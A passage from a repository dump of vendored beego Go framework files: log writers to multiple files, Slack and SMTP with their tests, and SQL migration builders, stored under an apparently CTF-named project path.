map[string]interface{}{}\n\tjson.Unmarshal([]byte(config), &jsonMap)\n\n\tfor i := LevelEmergency; i < LevelDebug+1; i++ {\n\t\tfor _, v := range f.Separate {\n\t\t\tif v == levelNames[i] {\n\t\t\t\tjsonMap[\"filename\"] = f.fullLogWriter.fileNameOnly + \".\" + levelNames[i] + f.fullLogWriter.suffix\n\t\t\t\tjsonMap[\"level\"] = i\n\t\t\t\tbs, _ := json.Marshal(jsonMap)\n\t\t\t\twriter = newFileWriter().(*fileLogWriter)\n\t\t\t\twriter.Init(string(bs))\n\t\t\t\tf.writers[i] = writer\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (f *multiFileLogWriter) Destroy() {\n\tfor i := 0; i < len(f.writers); i++ {\n\t\tif f.writers[i] != nil {\n\t\t\tf.writers[i].Destroy()\n\t\t}\n\t}\n}\n\nfunc (f *multiFileLogWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif f.fullLogWriter != nil {\n\t\tf.fullLogWriter.WriteMsg(when, msg, level)\n\t}\n\tfor i := 0; i < len(f.writers)-1; i++ {\n\t\tif f.writers[i] != nil {\n\t\t\tif level == f.writers[i].Level {\n\t\t\t\tf.writers[i].WriteMsg(when, msg, level)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (f *multiFileLogWriter) Flush() {\n\tfor i := 0; i < len(f.writers); i++ {\n\t\tif f.writers[i] != nil {\n\t\t\tf.writers[i].Flush()\n\t\t}\n\t}\n}\n\n// newFilesWriter create a FileLogWriter returning as LoggerInterface.\nfunc newFilesWriter() Logger {\n\treturn &multiFileLogWriter{}\n}\n\nfunc init() {\n\tRegister(AdapterMultiFile, newFilesWriter)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/multifile_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"bufio\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestFiles_1(t *testing.T) {\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"multifile\", `{\"filename\":\"test.log\",\"separate\":[\"emergency\", \"alert\", \"critical\", \"error\", \"warning\", \"notice\", \"info\", \"debug\"]}`)\n\tlog.Debug(\"debug\")\n\tlog.Informational(\"info\")\n\tlog.Notice(\"notice\")\n\tlog.Warning(\"warning\")\n\tlog.Error(\"error\")\n\tlog.Alert(\"alert\")\n\tlog.Critical(\"critical\")\n\tlog.Emergency(\"emergency\")\n\tfns := []string{\"\"}\n\tfns = append(fns, levelNames[0:]...)\n\tname := \"test\"\n\tsuffix := \".log\"\n\tfor _, fn := range fns {\n\n\t\tfile := name + suffix\n\t\tif fn != \"\" {\n\t\t\tfile = name + \".\" + fn + suffix\n\t\t}\n\t\tf, err := os.Open(file)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tb := bufio.NewReader(f)\n\t\tlineNum := 0\n\t\tlastLine := \"\"\n\t\tfor {\n\t\t\tline, _, err := b.ReadLine()\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif len(line) > 0 {\n\t\t\t\tlastLine = string(line)\n\t\t\t\tlineNum++\n\t\t\t}\n\t\t}\n\t\tvar expected = 1\n\t\tif fn == \"\" {\n\t\t\texpected = LevelDebug + 1\n\t\t}\n\t\tif lineNum != expected {\n\t\t\tt.Fatal(file, \"has\", lineNum, \"lines not \"+strconv.Itoa(expected)+\" lines\")\n\t\t}\n\t\tif lineNum == 1 {\n\t\t\tif !strings.Contains(lastLine, fn) {\n\t\t\t\tt.Fatal(file + \" \" + lastLine + \" not contains the log msg \" + fn)\n\t\t\t}\n\t\t}\n\t\tos.Remove(file)\n\t}\n\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/slack.go",
    "content": "package logs\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n)\n\n// SLACKWriter implements beego LoggerInterface and is used to send jiaoliao webhook\ntype SLACKWriter struct {\n\tWebhookURL string `json:\"webhookurl\"`\n\tLevel      int    `json:\"level\"`\n}\n\n// newSLACKWriter create jiaoliao writer.\nfunc newSLACKWriter() Logger {\n\treturn &SLACKWriter{Level: LevelTrace}\n}\n\n// Init SLACKWriter with json config string\nfunc (s *SLACKWriter) Init(jsonconfig string) error {\n\treturn json.Unmarshal([]byte(jsonconfig), s)\n}\n\n// WriteMsg write message in smtp writer.\n// it will send an email with subject and only this message.\nfunc (s *SLACKWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > s.Level {\n\t\treturn nil\n\t}\n\n\ttext := fmt.Sprintf(\"{\\\"text\\\": \\\"%s %s\\\"}\", when.Format(\"2006-01-02 15:04:05\"), msg)\n\n\tform := url.Values{}\n\tform.Add(\"payload\", text)\n\n\tresp, err := http.PostForm(s.WebhookURL, form)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"Post webhook failed %s %d\", resp.Status, resp.StatusCode)\n\t}\n\treturn nil\n}\n\n// Flush implementing method. empty.\nfunc (s *SLACKWriter) Flush() {\n}\n\n// Destroy implementing method. empty.\nfunc (s *SLACKWriter) Destroy() {\n}\n\nfunc init() {\n\tRegister(AdapterSlack, newSLACKWriter)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/smtp.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/smtp\"\n\t\"strings\"\n\t\"time\"\n)\n\n// SMTPWriter implements LoggerInterface and is used to send emails via given SMTP-server.\ntype SMTPWriter struct {\n\tUsername           string   `json:\"username\"`\n\tPassword           string   `json:\"password\"`\n\tHost               string   `json:\"host\"`\n\tSubject            string   `json:\"subject\"`\n\tFromAddress        string   `json:\"fromAddress\"`\n\tRecipientAddresses []string `json:\"sendTos\"`\n\tLevel              int      `json:\"level\"`\n}\n\n// NewSMTPWriter create smtp writer.\nfunc newSMTPWriter() Logger {\n\treturn &SMTPWriter{Level: LevelTrace}\n}\n\n// Init smtp writer with json config.\n// config like:\n//\t{\n//\t\t\"username\":\"example@gmail.com\",\n//\t\t\"password:\"password\",\n//\t\t\"host\":\"smtp.gmail.com:465\",\n//\t\t\"subject\":\"email title\",\n//\t\t\"fromAddress\":\"from@example.com\",\n//\t\t\"sendTos\":[\"email1\",\"email2\"],\n//\t\t\"level\":LevelError\n//\t}\nfunc (s *SMTPWriter) Init(jsonconfig string) error {\n\treturn json.Unmarshal([]byte(jsonconfig), s)\n}\n\nfunc (s *SMTPWriter) getSMTPAuth(host string) smtp.Auth {\n\tif len(strings.Trim(s.Username, \" \")) == 0 && len(strings.Trim(s.Password, \" \")) == 0 {\n\t\treturn nil\n\t}\n\treturn smtp.PlainAuth(\n\t\t\"\",\n\t\ts.Username,\n\t\ts.Password,\n\t\thost,\n\t)\n}\n\nfunc (s *SMTPWriter) sendMail(hostAddressWithPort string, auth smtp.Auth, fromAddress string, recipients []string, msgContent []byte) error {\n\tclient, err := smtp.Dial(hostAddressWithPort)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thost, _, _ := net.SplitHostPort(hostAddressWithPort)\n\ttlsConn := &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t\tServerName:         host,\n\t}\n\tif err = client.StartTLS(tlsConn); err != nil {\n\t\treturn err\n\t}\n\n\tif auth != nil {\n\t\tif err = client.Auth(auth); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err = client.Mail(fromAddress); err != nil {\n\t\treturn err\n\t}\n\n\tfor _, rec := range recipients {\n\t\tif err = client.Rcpt(rec); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tw, err := client.Data()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(msgContent)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = w.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn client.Quit()\n}\n\n// WriteMsg write message in smtp writer.\n// it will send an email with subject and only this message.\nfunc (s *SMTPWriter) WriteMsg(when time.Time, msg string, level int) error {\n\tif level > s.Level {\n\t\treturn nil\n\t}\n\n\thp := strings.Split(s.Host, \":\")\n\n\t// Set up authentication information.\n\tauth := s.getSMTPAuth(hp[0])\n\n\t// Connect to the server, authenticate, set the sender and recipient,\n\t// and send the email all in one step.\n\tcontentType := \"Content-Type: text/plain\" + \"; charset=UTF-8\"\n\tmailmsg := []byte(\"To: \" + strings.Join(s.RecipientAddresses, \";\") + \"\\r\\nFrom: \" + s.FromAddress + \"<\" + s.FromAddress +\n\t\t\">\\r\\nSubject: \" + s.Subject + \"\\r\\n\" + contentType + \"\\r\\n\\r\\n\" + fmt.Sprintf(\".%s\", when.Format(\"2006-01-02 15:04:05\")) + msg)\n\n\treturn s.sendMail(s.Host, auth, s.FromAddress, s.RecipientAddresses, mailmsg)\n}\n\n// Flush implementing method. empty.\nfunc (s *SMTPWriter) Flush() {\n}\n\n// Destroy implementing method. empty.\nfunc (s *SMTPWriter) Destroy() {\n}\n\nfunc init() {\n\tRegister(AdapterMail, newSMTPWriter)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/smtp_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage logs\n\nimport (\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestSmtp(t *testing.T) {\n\tlog := NewLogger(10000)\n\tlog.SetLogger(\"smtp\", `{\"username\":\"beegotest@gmail.com\",\"password\":\"xxxxxxxx\",\"host\":\"smtp.gmail.com:587\",\"sendTos\":[\"xiemengjun@gmail.com\"]}`)\n\tlog.Critical(\"sendmail critical\")\n\ttime.Sleep(time.Second * 30)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/migration/ddl.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage migration\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/astaxie/beego\"\n)\n\n// Index struct defines the structure of Index Columns\ntype Index struct {\n\tName string\n}\n\n// Unique struct defines a single unique key combination\ntype Unique struct {\n\tDefinition string\n\tColumns    []*Column\n}\n\n//Column struct defines a single column of a table\ntype Column struct {\n\tName     string\n\tInc      string\n\tNull     string\n\tDefault  string\n\tUnsign   string\n\tDataType string\n\tremove   bool\n\tModify   bool\n}\n\n// Foreign struct defines a single foreign relationship\ntype Foreign struct {\n\tForeignTable  string\n\tForeignColumn string\n\tOnDelete      string\n\tOnUpdate      string\n\tColumn\n}\n\n// RenameColumn struct allows renaming of columns\ntype RenameColumn struct {\n\tOldName     string\n\tOldNull     string\n\tOldDefault  string\n\tOldUnsign   string\n\tOldDataType string\n\tNewName     string\n\tColumn\n}\n\n// CreateTable creates the table on system\nfunc (m *Migration) CreateTable(tablename, engine, charset string, p ...func()) {\n\tm.TableName = tablename\n\tm.Engine = engine\n\tm.Charset = charset\n\tm.ModifyType = \"create\"\n}\n\n// AlterTable set the ModifyType to alter\nfunc (m *Migration) AlterTable(tablename string) {\n\tm.TableName = tablename\n\tm.ModifyType = \"alter\"\n}\n\n// NewCol creates a new standard column and attaches it to m struct\nfunc (m *Migration) NewCol(name string) *Column {\n\tcol := &Column{Name: name}\n\tm.AddColumns(col)\n\treturn col\n}\n\n//PriCol creates a new primary column and attaches it to m struct\nfunc (m *Migration) PriCol(name string) *Column {\n\tcol := &Column{Name: name}\n\tm.AddColumns(col)\n\tm.AddPrimary(col)\n\treturn col\n}\n\n//UniCol creates / appends columns to specified unique key and attaches it to m struct\nfunc (m *Migration) UniCol(uni, name string) *Column {\n\tcol := &Column{Name: name}\n\tm.AddColumns(col)\n\n\tuniqueOriginal := &Unique{}\n\n\tfor _, unique := range m.Uniques {\n\t\tif unique.Definition == uni {\n\t\t\tunique.AddColumnsToUnique(col)\n\t\t\tuniqueOriginal = unique\n\t\t}\n\t}\n\tif uniqueOriginal.Definition == \"\" {\n\t\tunique := &Unique{Definition: uni}\n\t\tunique.AddColumnsToUnique(col)\n\t\tm.AddUnique(unique)\n\t}\n\n\treturn col\n}\n\n//ForeignCol creates a new foreign column and returns the instance of column\nfunc (m *Migration) ForeignCol(colname, foreigncol, foreigntable string) (foreign *Foreign) {\n\n\tforeign = &Foreign{ForeignColumn: foreigncol, ForeignTable: foreigntable}\n\tforeign.Name = colname\n\tm.AddForeign(foreign)\n\treturn foreign\n}\n\n//SetOnDelete sets the on delete of foreign\nfunc (foreign *Foreign) SetOnDelete(del string) *Foreign {\n\tforeign.OnDelete = \"ON DELETE\" + del\n\treturn foreign\n}\n\n//SetOnUpdate sets the on update of foreign\nfunc (foreign *Foreign) SetOnUpdate(update string) *Foreign {\n\tforeign.OnUpdate = \"ON UPDATE\" + update\n\treturn foreign\n}\n\n//Remove marks the columns to be removed.\n//it allows reverse m to create the column.\nfunc (c *Column) Remove() {\n\tc.remove = true\n}\n\n//SetAuto enables auto_increment of column (can be used once)\nfunc (c *Column) SetAuto(inc bool) *Column {\n\tif inc {\n\t\tc.Inc = \"auto_increment\"\n\t}\n\treturn c\n}\n\n//SetNullable sets the column to be null\nfunc (c *Column) SetNullable(null bool) *Column {\n\tif null {\n\t\tc.Null = \"\"\n\n\t} else {\n\t\tc.Null = \"NOT NULL\"\n\t}\n\treturn c\n}\n\n//SetDefault sets the default value, prepend with \"DEFAULT \"\nfunc (c *Column) SetDefault(def string) *Column {\n\tc.Default = \"DEFAULT \" + def\n\treturn c\n}\n\n//SetUnsigned sets the column to be unsigned int\nfunc (c *Column) SetUnsigned(unsign bool) *Column {\n\tif unsign {\n\t\tc.Unsign = \"UNSIGNED\"\n\t}\n\treturn c\n}\n\n//SetDataType sets the dataType of the column\nfunc (c *Column) SetDataType(dataType string) *Column {\n\tc.DataType = dataType\n\treturn c\n}\n\n//SetOldNullable allows reverting to previous nullable on reverse ms\nfunc (c *RenameColumn) SetOldNullable(null bool) *RenameColumn {\n\tif null {\n\t\tc.OldNull = \"\"\n\n\t} else {\n\t\tc.OldNull = \"NOT NULL\"\n\t}\n\treturn c\n}\n\n//SetOldDefault allows reverting to previous default on reverse ms\nfunc (c *RenameColumn) SetOldDefault(def string) *RenameColumn {\n\tc.OldDefault = def\n\treturn c\n}\n\n//SetOldUnsigned allows reverting to previous unsgined on reverse ms\nfunc (c *RenameColumn) SetOldUnsigned(unsign bool) *RenameColumn {\n\tif unsign {\n\t\tc.OldUnsign = \"UNSIGNED\"\n\t}\n\treturn c\n}\n\n//SetOldDataType allows reverting to previous datatype on reverse ms\nfunc (c *RenameColumn) SetOldDataType(dataType string) *RenameColumn {\n\tc.OldDataType = dataType\n\treturn c\n}\n\n//SetPrimary adds the columns to the primary key (can only be used any number of times in only one m)\nfunc (c *Column) SetPrimary(m *Migration) *Column {\n\tm.Primary = append(m.Primary, c)\n\treturn c\n}\n\n//AddColumnsToUnique adds the columns to Unique Struct\nfunc (unique *Unique) AddColumnsToUnique(columns ...*Column) *Unique {\n\n\tunique.Columns = append(unique.Columns, columns...)\n\n\treturn unique\n}\n\n//AddColumns adds columns to m struct\nfunc (m *Migration) AddColumns(columns ...*Column) *Migration {\n\n\tm.Columns = append(m.Columns, columns...)\n\n\treturn m\n}\n\n//AddPrimary adds the column to primary in m struct\nfunc (m *Migration) AddPrimary(primary *Column) *Migration {\n\tm.Primary = append(m.Primary, primary)\n\treturn m\n}\n\n//AddUnique adds the column to unique in m struct\nfunc (m *Migration) AddUnique(unique *Unique) *Migration {\n\tm.Uniques = append(m.Uniques, unique)\n\treturn m\n}\n\n//AddForeign adds the column to foreign in m struct\nfunc (m *Migration) AddForeign(foreign *Foreign) *Migration {\n\tm.Foreigns = append(m.Foreigns, foreign)\n\treturn m\n}\n\n//AddIndex adds the column to index in m struct\nfunc (m *Migration) AddIndex(index *Index) *Migration {\n\tm.Indexes = append(m.Indexes, index)\n\treturn m\n}\n\n//RenameColumn allows renaming of columns\nfunc (m *Migration) RenameColumn(from, to string) *RenameColumn {\n\trename := &RenameColumn{OldName: from, NewName: to}\n\tm.Renames = append(m.Renames, rename)\n\treturn rename\n}\n\n//GetSQL returns the generated sql depending on ModifyType\nfunc (m *Migration) GetSQL() (sql string) {\n\tsql = \"\"\n\tswitch m.ModifyType {\n\tcase \"create\":\n\t\t{\n\t\t\tsql += fmt.Sprintf(\"CREATE TABLE `%s` (\", m.TableName)\n\t\t\tfor index, column := range m.Columns {\n\t\t\t\tsql += fmt.Sprintf(\"\\n `%s` %s %s %s %s %s\", column.Name, column.DataType, column.Unsign, column.Null, column.Inc, column.Default)\n\t\t\t\tif len(m.Columns) > index+1 {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif len(m.Primary) > 0 {\n\t\t\t\tsql += fmt.Sprintf(\",\\n PRIMARY KEY( \")\n\t\t\t}\n\t\t\tfor index, column := range m.Primary {\n\t\t\t\tsql += fmt.Sprintf(\" `%s`\", column.Name)\n\t\t\t\tif len(m.Primary) > index+1 {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tif len(m.Primary) > 0 {\n\t\t\t\tsql += fmt.Sprintf(\")\")\n\t\t\t}\n\n\t\t\tfor _, unique := range m.Uniques {\n\t\t\t\tsql += fmt.Sprintf(\",\\n UNIQUE KEY `%s`( \", unique.Definition)\n\t\t\t\tfor index, column := range unique.Columns {\n\t\t\t\t\tsql += fmt.Sprintf(\" `%s`\", column.Name)\n\t\t\t\t\tif len(unique.Columns) > index+1 {\n\t\t\t\t\t\tsql += \",\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsql += fmt.Sprintf(\")\")\n\t\t\t}\n\t\t\tfor _, foreign := range m.Foreigns {\n\t\t\t\tsql += fmt.Sprintf(\",\\n `%s` %s %s %s %s %s\", foreign.Name, foreign.DataType, foreign.Unsign, foreign.Null, foreign.Inc, foreign.Default)\n\t\t\t\tsql += fmt.Sprintf(\",\\n KEY  `%s_%s_foreign`(`%s`),\", m.TableName, foreign.Column.Name, foreign.Column.Name)\n\t\t\t\tsql += fmt.Sprintf(\"\\n CONSTRAINT `%s_%s_foreign` FOREIGN KEY (`%s`) REFERENCES `%s` (`%s`)  %s %s\", m.TableName, foreign.Column.Name, foreign.Column.Name, foreign.ForeignTable, foreign.ForeignColumn, foreign.OnDelete, foreign.OnUpdate)\n\n\t\t\t}\n\t\t\tsql += fmt.Sprintf(\")ENGINE=%s DEFAULT CHARSET=%s;\", m.Engine, m.Charset)\n\t\t\tbreak\n\t\t}\n\tcase \"alter\":\n\t\t{\n\t\t\tsql += fmt.Sprintf(\"ALTER TABLE `%s` \", m.TableName)\n\t\t\tfor index, column := range m.Columns {\n\t\t\t\tif !column.remove {\n\t\t\t\t\tbeego.BeeLogger.Info(\"col\")\n\t\t\t\t\tsql += fmt.Sprintf(\"\\n ADD `%s` %s %s %s %s %s\", column.Name, column.DataType, column.Unsign, column.Null, column.Inc, column.Default)\n\t\t\t\t} else {\n\t\t\t\t\tsql += fmt.Sprintf(\"\\n DROP COLUMN `%s`\", column.Name)\n\t\t\t\t}\n\n\t\t\t\tif len(m.Columns) > index {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor index, column := range m.Renames {\n\t\t\t\tsql += fmt.Sprintf(\"CHANGE COLUMN `%s` `%s` %s %s %s %s %s\", column.OldName, column.NewName, column.DataType, column.Unsign, column.Null, column.Inc, column.Default)\n\t\t\t\tif len(m.Renames) > index+1 {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor index, foreign := range m.Foreigns {\n\t\t\t\tsql += fmt.Sprintf(\"ADD `%s` %s %s %s %s %s\", foreign.Name, foreign.DataType, foreign.Unsign, foreign.Null, foreign.Inc, foreign.Default)\n\t\t\t\tsql += fmt.Sprintf(\",\\n ADD KEY  `%s_%s_foreign`(`%s`)\", m.TableName, foreign.Column.Name, foreign.Column.Name)\n\t\t\t\tsql += fmt.Sprintf(\",\\n ADD CONSTRAINT  `%s_%s_foreign` FOREIGN KEY (`%s`) REFERENCES `%s` (`%s`)  %s %s\", m.TableName, foreign.Column.Name, foreign.Column.Name, foreign.ForeignTable, foreign.ForeignColumn, foreign.OnDelete, foreign.OnUpdate)\n\t\t\t\tif len(m.Foreigns) > index+1 {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\t\t\t}\n\t\t\tsql += \";\"\n\n\t\t\tbreak\n\t\t}\n\tcase \"reverse\":\n\t\t{\n\n\t\t\tsql += fmt.Sprintf(\"ALTER TABLE `%s`\", m.TableName)\n\t\t\tfor index, column := range m.Columns {\n\t\t\t\tif column.remove {\n\t\t\t\t\tsql += fmt.Sprintf(\"\\n ADD `%s` %s %s %s %s %s\", column.Name, column.DataType, column.Unsign, column.Null, column.Inc, column.Default)\n\t\t\t\t} else {\n\t\t\t\t\tsql += fmt.Sprintf(\"\\n DROP COLUMN `%s`\", column.Name)\n\t\t\t\t}\n\t\t\t\tif len(m.Columns) > index {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif len(m.Primary) > 0 {\n\t\t\t\tsql += fmt.Sprintf(\"\\n DROP PRIMARY KEY,\")\n\t\t\t}\n\n\t\t\tfor index, unique := range m.Uniques {\n\t\t\t\tsql += fmt.Sprintf(\"\\n DROP KEY `%s`\", unique.Definition)\n\t\t\t\tif len(m.Uniques) > index {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tfor index, column := range m.Renames {\n\t\t\t\tsql += fmt.Sprintf(\"\\n CHANGE COLUMN `%s` `%s` %s %s %s %s\", column.NewName, column.OldName, column.OldDataType, column.OldUnsign, column.OldNull, column.OldDefault)\n\t\t\t\tif len(m.Renames) > index {\n\t\t\t\t\tsql += \",\"\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor _, foreign := range m.Foreigns {\n\t\t\t\tsql += fmt.Sprintf(\"\\n DROP KEY  `%s_%s_foreign`\", m.TableName, foreign.Column.Name)\n\t\t\t\tsql += fmt.Sprintf(\",\\n DROP FOREIGN KEY  `%s_%s_foreign`\", m.TableName, foreign.Column.Name)\n\t\t\t\tsql += fmt.Sprintf(\",\\n DROP COLUMN `%s`\", foreign.Name)\n\t\t\t}\n\t\t\tsql += \";\"\n\t\t}\n\tcase \"delete\":\n\t\t{\n\t\t\tsql += fmt.Sprintf(\"DROP TABLE IF EXISTS `%s`;\", m.TableName)\n\t\t}\n\t}\n\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/migration/doc.go",
    "content": "// Package migration enables you to generate migrations back and forth. It generates both migrations.\n//\n// //Creates a table\n// m.CreateTable(\"tablename\",\"InnoDB\",\"utf8\");\n//\n// //Alter a table\n// m.AlterTable(\"tablename\")\n//\n// Standard Column Methods\n// * SetDataType\n// * SetNullable\n// * SetDefault\n// * SetUnsigned (use only on integer types unless produces error)\n//\n// //Sets a primary column, multiple calls allowed, standard column methods available\n// m.PriCol(\"id\").SetAuto(true).SetNullable(false).SetDataType(\"INT(10)\").SetUnsigned(true)\n//\n// //UniCol Can be used multiple times, allows standard Column methods. Use same \"index\" string to add to same index\n// m.UniCol(\"index\",\"column\")\n//\n// //Standard Column Initialisation, can call .Remove() after NewCol(\"\") on alter to remove\n// m.NewCol(\"name\").SetDataType(\"VARCHAR(255) COLLATE utf8_unicode_ci\").SetNullable(false)\n// m.NewCol(\"value\").SetDataType(\"DOUBLE(8,2)\").SetNullable(false)\n//\n// //Rename Columns , only use with Alter table, doesn't works with Create, prefix standard column methods with \"Old\" to\n// //create a true reversible migration eg: SetOldDataType(\"DOUBLE(12,3)\")\n// m.RenameColumn(\"from\",\"to\")...\n//\n// //Foreign Columns, single columns are only supported, SetOnDelete & SetOnUpdate are available, call appropriately.\n// //Supports standard column methods, automatic reverse.\n// m.ForeignCol(\"local_col\",\"foreign_col\",\"foreign_table\")\npackage migration\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/migration/migration.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package migration is used for migration\n//\n// The table structure is as follow:\n//\n//\tCREATE TABLE `migrations` (\n//\t\t`id_migration` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT 'surrogate key',\n//\t\t`name` varchar(255) DEFAULT NULL COMMENT 'migration name, unique',\n//\t\t`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT 'date migrated or rolled back',\n//\t\t`statements` longtext COMMENT 'SQL statements for this migration',\n//\t\t`rollback_statements` longtext,\n//\t\t`status` enum('update','rollback') DEFAULT NULL COMMENT 'update indicates it is a normal migration while rollback means this migration is rolled back',\n//\t\tPRIMARY KEY (`id_migration`)\n//\t) ENGINE=InnoDB DEFAULT CHARSET=utf8;\npackage migration\n\nimport (\n\t\"errors\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/orm\"\n)\n\n// const the data format for the bee generate migration datatype\nconst (\n\tDateFormat   = \"20060102_150405\"\n\tDBDateFormat = \"2006-01-02 15:04:05\"\n)\n\n// Migrationer is an interface for all Migration struct\ntype Migrationer interface {\n\tUp()\n\tDown()\n\tReset()\n\tExec(name, status string) error\n\tGetCreated() int64\n}\n\n//Migration defines the migrations by either SQL or DDL\ntype Migration struct {\n\tsqls           []string\n\tCreated        string\n\tTableName      string\n\tEngine         string\n\tCharset        string\n\tModifyType     string\n\tColumns        []*Column\n\tIndexes        []*Index\n\tPrimary        []*Column\n\tUniques        []*Unique\n\tForeigns       []*Foreign\n\tRenames        []*RenameColumn\n\tRemoveColumns  []*Column\n\tRemoveIndexes  []*Index\n\tRemoveUniques  []*Unique\n\tRemoveForeigns []*Foreign\n}\n\nvar (\n\tmigrationMap map[string]Migrationer\n)\n\nfunc init() {\n\tmigrationMap = make(map[string]Migrationer)\n}\n\n// Up implement in the Inheritance struct for upgrade\nfunc (m *Migration) Up() {\n\n\tswitch m.ModifyType {\n\tcase \"reverse\":\n\t\tm.ModifyType = \"alter\"\n\tcase \"delete\":\n\t\tm.ModifyType = \"create\"\n\t}\n\tm.sqls = append(m.sqls, m.GetSQL())\n}\n\n// Down implement in the Inheritance struct for down\nfunc (m *Migration) Down() {\n\n\tswitch m.ModifyType {\n\tcase \"alter\":\n\t\tm.ModifyType = \"reverse\"\n\tcase \"create\":\n\t\tm.ModifyType = \"delete\"\n\t}\n\tm.sqls = append(m.sqls, m.GetSQL())\n}\n\n//Migrate adds the SQL to the execution list\nfunc (m *Migration) Migrate(migrationType string) {\n\tm.ModifyType = migrationType\n\tm.sqls = append(m.sqls, m.GetSQL())\n}\n\n// SQL add sql want to execute\nfunc (m *Migration) SQL(sql string) {\n\tm.sqls = append(m.sqls, sql)\n}\n\n// Reset the sqls\nfunc (m *Migration) Reset() {\n\tm.sqls = make([]string, 0)\n}\n\n// Exec execute the sql already add in the sql\nfunc (m *Migration) Exec(name, status string) error {\n\to := orm.NewOrm()\n\tfor _, s := range m.sqls 